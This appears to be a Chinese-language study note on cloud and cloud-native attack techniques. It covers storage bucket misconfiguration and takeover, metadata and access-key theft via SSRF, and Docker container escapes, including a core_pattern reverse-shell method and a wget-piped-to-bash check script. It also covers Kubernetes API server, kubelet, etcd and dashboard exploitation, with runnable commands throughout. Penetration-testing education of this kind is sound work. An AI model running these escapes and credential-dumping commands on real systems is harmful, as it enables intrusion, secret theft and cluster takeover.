云安全

云安全
EZL1NG云安全
云服务
简介
云服务是基于互联网的相关服务的增加、使用和交互模式,通常涉及通过互联网来提供动态易扩展且经常是虚拟化的资源。
厂商
国内
阿里云、腾讯云、华为云、天翼云、Ucloud、金山云等
国外
亚马逊的AWS、Google的GCP、微软的Azure,IBM 云等
分类
- S3 对象存储Simple Storage Service,一个公开的服务,Web 应用程序开发人员可以使用它存储数字资产,包括图片、视频、音乐和文档。
- EC2 即弹性计算服务Elastic Compute Cloud,简单的说就是在云上的一台虚拟机。
- RDS 云数据库Relational Database Service,简单的说就是云上的一个数据库。
- IAM 身份和访问管理Identity and Access Management,简单的说就是云控制台上的一套身 份管理服务,可以用来管理每个子账号的权限。
对象存储
简介
对象存储是用来描述解决和处理离散单元的方法的通用术语。对象在一个层结构中不会再有层级结构,是以扩展元数据为特征的。
对象存储各厂商称呼
阿里云/京东云:OSS
腾讯云:COS
华为云:OBS
谷歌云:GCS
微软云:Blob
亚马逊云:S3
风险
权限配置错误
- 公共读或公共读写:可完整访问但不显示完整结构
- 权限Bucket 授权策略:设置ListObject 显示完整结构
- 权限Bucket 读写权限:公共读写直接PUT文件任意上传
域名解析Bucket 接管
Bucket 存储桶绑定域名后,当存储桶被删除而域名解析未删除,可以尝试接管! 当Bucket 显示NoSuchBucket 说明是可以接管的,如果显示AccessDenied 则不行。
思路
发现存在NoSuchBucket
选择对应服务商创建一个Bucket接管
如果没有子域名,直接获得Bucket则通过ip反推子域名。
AccessKeyId,SecretAccessKey 泄漏
- APP,小程序,JS 中泄漏导致,获取后直接使用工具接管。
- AccessKey 标识特征整理-查找
- https://wiki.teamssix.com/CloudService/more/
弹性云计算服务器
什么是实例元数据?
实例元数据(metadata)包含了弹性计算云服务器实例在阿里云系统中的信息,您可以在 运行中的实例内方便地查看实例元数据,并基于实例元数据配置或管理实例。(基本信 息:实例ID、IP 地址、网卡MAC地址、操作系统类型等信息。实例标识包括实例标识文 档和实例标识签名,所有信息均实时生成,常用于快速辨别实例身份。)
各大云元数据地址:
- 阿里云元数据地址:http://100.100.100.200/
- 腾讯云元数据地址:http://metadata.tencentyun.com/
- 华为云元数据地址:http://169.254.169.254/
- 亚马云元数据地址:http://169.254.169.254/
- 微软云元数据地址:http://169.254.169.254/
- 谷歌云元数据地址:http://metadata.google.internal/
阿里云例子: https://help.aliyun.com/zh/ecs/user-guide/manage-instance-metadata
RAM访问控制
访问控制RAM(Resource Access Management)是阿里云提供的管理用户身份与资源访问权限的服务。
用户A 登录 管理oss对象存储
用户B 登录 管理ecs云服务器
Attack_1
前提条件
弹性计算配置访问控制角色
获取服务器部分权限(rce或者webshell可以触发url)
横向移动
获取关键信息
获取临时凭证
利用AK(AccessKeyid)横向移动
- CF 云渗透框架项目:https://wiki.teamssix.com/CF/
- fox工具箱集成
Attack_2
前提条件
某服务器上Web资产存在SSRF漏洞
利用
- 获取关键信息
- 获取临时凭证
- 利用AK(AccessKeyid)横向移动
- CF 云渗透框架项目:https://wiki.teamssix.com/CF/
- fox工具箱集成
云数据库
- 帐号密码:
- 源码配置中找到(几率高)或爆破手段(几率低D2、连接获取:
- 连接获取:
- 白名单&外网 直接Navicat 支持连接
- 内网需要其中内网某一个服务器做转发
- AK 利用(权限提升)
- CF 云渗透框架项目:https://wiki.teamssix.com/CF/
- fox工具箱集成
云原生
简介
云原生是基于分布部署和统一运管的分布式云 [1],以容器、微服务、DevOps等技术为基础建立的一套云技术产品体系。
Docker
什么是docker?
Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。
下图是 Docker 官方给出的架构图,里面包括了 Docker 客户端、Docker 容器所在的宿主机和 Docker 镜像仓库三个部分。
其中宿主机包括了 Docker 守护进程、本地容器和本地镜像,Docker 守护进程(dockerd)的作用是侦听 Docker API 请求和管理 Docker 对象。
如何判断是否为docker?
无权限
端口扫描详细信息,根据应用对象表现来进行判断
拥有权限
查询cgroup信息
1
cat /proc/1/cgroup
判断响应内容,看name和devices信息
判断根目录下 .dockerenv 文件
1
ls -alh /.dockerenv
非docker环境,没有.dockerenv文件
容器逃逸
前提为getshell
容器逃逸主要有以下三种方法:
- 不安全的配置
- 相关程序漏洞
- 内核漏洞
不安全的配置
特权模式
执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式
1
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
如果返回 Not privileged mode 则说明当前不是特权模式
挂载 Docker Socket
执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket
1
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
如果返回 Docker Socket is not mounted. 则说明没有挂载
挂载 procfs
执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs
1
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
如果返回 Procfs is not mounted. 则说明没有挂载
挂载宿主机根目录
执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载
1
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."
如果返回 Root directory is not mounted. 则说明没有挂载
Docker remote api 未授权访问
执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问
1
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."
如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问
Docker 自身漏洞
CVE-2019-5736 runc 逃逸
内核漏洞
CVE-2016-5195 DirtyCow 逃逸
执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。
CVE-2020-14386
执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。CVE-2022-0847 DirtyPipe 逃逸
执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。
容器逃逸检测项目
GitHub - teamssix/container-escape-check: docker container escape check || Docker 容器逃逸检测
直接在容器中执行以下命令即可
1 | wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O -| bash |
容器没有 wget 命令,可将脚本先克隆到本地,然后上传到容器再执行
1 | git clone https://github.com/teamssix/container-escape-check.git |
CDK Home CN · cdk-team/CDK Wiki · GitHub
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
特权模式
启动靶场:
1
docker run --rm --privileged=true -it alpine
检测环境:
1
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
判断特权:
1
cat /proc/self/status | grep CapEff
查看目录:
1
fdisk -l
特权逃逸:
1
mkdir /test && mount /dev/vda1 /test
判断结果:
1
cd /test/ && ls
危险挂载
挂载Docker Socket逃逸
启动靶场:
1 | docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu |
进入环境:
1 | docker exec -it with_docker_sock /bin/bash |
检测环境:
1 | ls -lah /var/run/docker.sock |
挂载逃逸:
1 | apt-get update apt-get install curl curl -fsSL https://get.docker.com/ | sh |
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
1 | docker run -it -v /:/host ubuntu /bin/bash chroot /host |
挂载宿主机procfs逃逸
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
Docker默认情况下不会为容器开启 User Namespace
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。
搭建靶场
创建一个容器并挂载 /proc 目录
1 | docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu |
检测
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
1 | find / -name core_pattern |
攻击
找到当前容器在宿主机下的绝对路径
1 | cat /proc/mounts | xargs -d ',' -n 1 | grep workdir |
这就表示当前绝对路径为
1 | /var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged |
安装 vim 和 gcc
1 | apt-get update -y && apt-get install vim gcc -y |
创建一个反弹 Shell 的 py 脚本
1 | #!/usr/bin/python3 |
给 Shell 赋予执行权限
1 | chmod 777 .t.py |
写入反弹 shell 到目标的 proc 目录下
1 | echo -e "|/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern |
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
1 | vim t.c |
Kubernetes
简介
Kubernetes,简称 k8s(k,8 个字符,s——明白了?)或者 “kube”,是一个开源的 Linux 容器自动化运维平台,它消除了容器化应用程序在部署、伸缩时涉及到的许多手动操作。换句话说,你可以将多台主机组合成集群来运行 Linux 容器,而 Kubernetes 可以帮助你简单高效地管理那些集群。构成这些集群的主机还可以跨越公有云、私有云以及混合云。
K8S集群架构解
- Master节点:控制 Kubernetes 节点的机器,也是创建作业任务的地方。
- Node节点: 这些机器在 Kubernetes 主节点的控制下执行被分配的任务。
- Pad:由一个或多个容器构成的集合,作为一个整体被部署到一个单一节点。同一个 pod 中的容器共享 IP 地址、进程间通讯(IPC)、主机名以及其它资源。Pod 将底层容器的网络和存储抽象出来,使得集群内的容器迁移更为便捷。
- Replication controller(复制控制器): 控制一个 pod 在集群上运行的实例数量。
- Service(服务): 将服务内容与具体的 pod 分离。Kubernetes 服务代理负责自动将服务请求分发到正确的 pod 处,不管 pod 移动到集群中的什么位置,甚至可以被替换掉。
- Kubelet: 这个守护进程运行在各个工作节点上,负责获取容器列表,保证被声明的容器已经启动并且正常运行。
- kubectl: 这是 Kubernetes 的命令行配置工具。
K8S集群攻击点
API Server未授权
一个集群包含三个节点,其中包括一个控制节点和两个工作节点
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132
环境
旧版本(k8s<1.16.0)的k8s的API Server默认会开启两个端口:8080和6443。
攻击8080端口
条件:cd /etc/kubernetes/manifests/
配置有以下两条
1 | –insecure-port=8080 |
漏洞利用:
1 | kubectl.exe -s 192.168.139.130:8080 get nodes |
攻击6443端口
一些集群由于鉴权配置不当,将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
攻击:
恶意pods容器
1 | POST /api/v1/namespaces/default/pods HTTP/2 |
连接判断pods
1 | kubectl --insecure-skip-tls-verify -s https://ip:6443 get pods |
用户名密码随便输
连接执行pods
1 | kubectl --insecure-skip-tls-verify -s https://ip:6443 --namespace=default exec -it test03 bash |
kubelet未授权访问
攻击10250端口
如果访问ip:10250/pods有大量数据则存在
搭建靶场
192.168.230.132配置如下:
1 | /var/lib/kubelet/config.yaml |
漏洞利用:
执行的命令是test03容器里的命令,需要进行容器逃逸。利用执行命令这里需要三个参数
1 | namespace:default |
1、访问获取三个参数值
https://192.168.139.132:10250/runningpods/
2、执行容器命令:
1 | curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id" |
其中
etdc未授权
对etdc靶机192.168.139.136
攻击2379端口:默认通过证书认证,主要存放节点的数据,如一些token和证书。
配置文件: /etc/kubernetes/manifests/etcd.yaml
复现搭建: https://www.cnblogs.com/qtzd/p/k8s_etcd.html
安装etcdctl: https://github.com/etcd-io/etcd/releases
安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
攻击点
没有配置指定client-cert-auth参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。
暴露外部可以访问,直接未授权访问获取secrets和token利用在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert进行认证访问,一般配合ssrf 或其他利用,较为鸡肋。
只能本地访问,直接未授权访问获取secrets和token利用
实战中在安装k8s默认的配置2379只会监听本地,如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。
只能本地访问,利用ssrf或其他进行获取secrets和token 利用
漏洞利用
- 暴露etcd未授权->获取secrets&token->通过token访问API-Server接管
- SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
- V2/V3版本利用参考:https://www.cnblogs.com/qtzd/p/k8s_etcd.html
V2版本
访问ip:2379/v2/keys/?recursive=true,可看到key-value值
V3版本
连接提交测试
1
2
3
4
5etcdctl --endpoints=192.168.139.136:23791 get / --prefix
etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"
etcdctl --endpoints=192.168.139.136:23791 put /xxxx/xxxxx "word"获取 k8s的secrets:
1
etcdctl --endpoints=192.168.139.136:23791 get / --prefix-keys-only | grep /secrets/
读取service account token:
1
2
3etcdctl --endpoints=192.168.139.136:23791 get / --prefix-keys-only | grep /secrets/kube-system/clusterrole
etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z通过 token访问 API-Server,获取集群的权限:
1
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/-token="ey..." -n kube-system get pods
Dashboard未授权访问
默认端口:8001
从 1.10.1 版本起,Dashboard 默认禁用了跳过按钮,但如果用户为了方便或者其他原因,开启了相关功能,就会导致 Dashboard 的未授权访问。
复现利用:
*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
*Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)
1、安装:https://blog.csdn.net/justlpf/article/details/130718774
2、启动:kubectl create -f recommended.yaml
3、卸载:kubectl delete -f recommended.yaml
4、查看:kubectl get pod,svc -n kubernetes-dashboard
5、利用:新增Pod后续同前面利用一致
正常情况下Dashboard如图:
有漏洞的情况下:
点击跳过直接进入控制面板
利用流程:找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸
Configfile鉴权文件泄漏
攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:
- 如果提供了–kubeconfig参数,就使用提供的kubeconfig文件
- 如果没有提供–kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
- 如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config
*复现利用:
*K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸
1、将获取到的config复制
2、安装kubectl使用config连接
安装:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
连接:kubectl -s https://192.168.139.130:6443/ –kubeconfig=config –insecure-skip-tls-verify=true get nodes
3、上传利用test.yaml创建pod
1 | kubectl apply -f test.yaml -n default --kubeconfig=config |
4、连接pod后进行容器挂载逃逸
1 | kubectl exec -it xiaodisec bash -n default --kubeconfig=config |
Kubectl Proxy不安全配置
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上
环境搭建:
1 | 云原生-K8s安全-Kubectl Proxy不安全配置 |
*复现利用:
*类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
*找到暴露入口点,根据类型选择合适方案
1 | kubectl -s http://10.10.10.167:8009 get pods -n kube-system |
污点Taint横向移动
如何判断实战中能否利用污点Taint?
设置污点
1 | kubectl taint nodes node1 xtz=value1:NoSchedule |
去除污点
1 | kubectl taint nodes node1 xtz:NoSchedule- |
节点说明中,查找 Taints 字段
拿到node节点权限时可以查看其他node主机或者master主机是否支持用Taint污点横向移动
1 | kubectl describe nodes node-name |
云产品篇
堡垒机
堡垒机,即在一个特定的网络环境下,为了保障网络和数据不受入侵和破坏,运用各种技术手段监控对网络内的服务器、网络设备、安全设备、数据库等设备的操作行为,以便于集中报警、及时处理及审计定责。
堡垒机攻防:(意义)
https://mp.weixin.qq.com/s/-WcgyVoTCZuPamVtI5MrJw
堡垒机漏洞:(已知)
https://avd.aliyun.com/search?q=%E5%A0%A1%E5%9E%92%E6%9C%BA
云堡垒机:(云攻防)
https://blog.csdn.net/weixin_43025343/article/details/132537328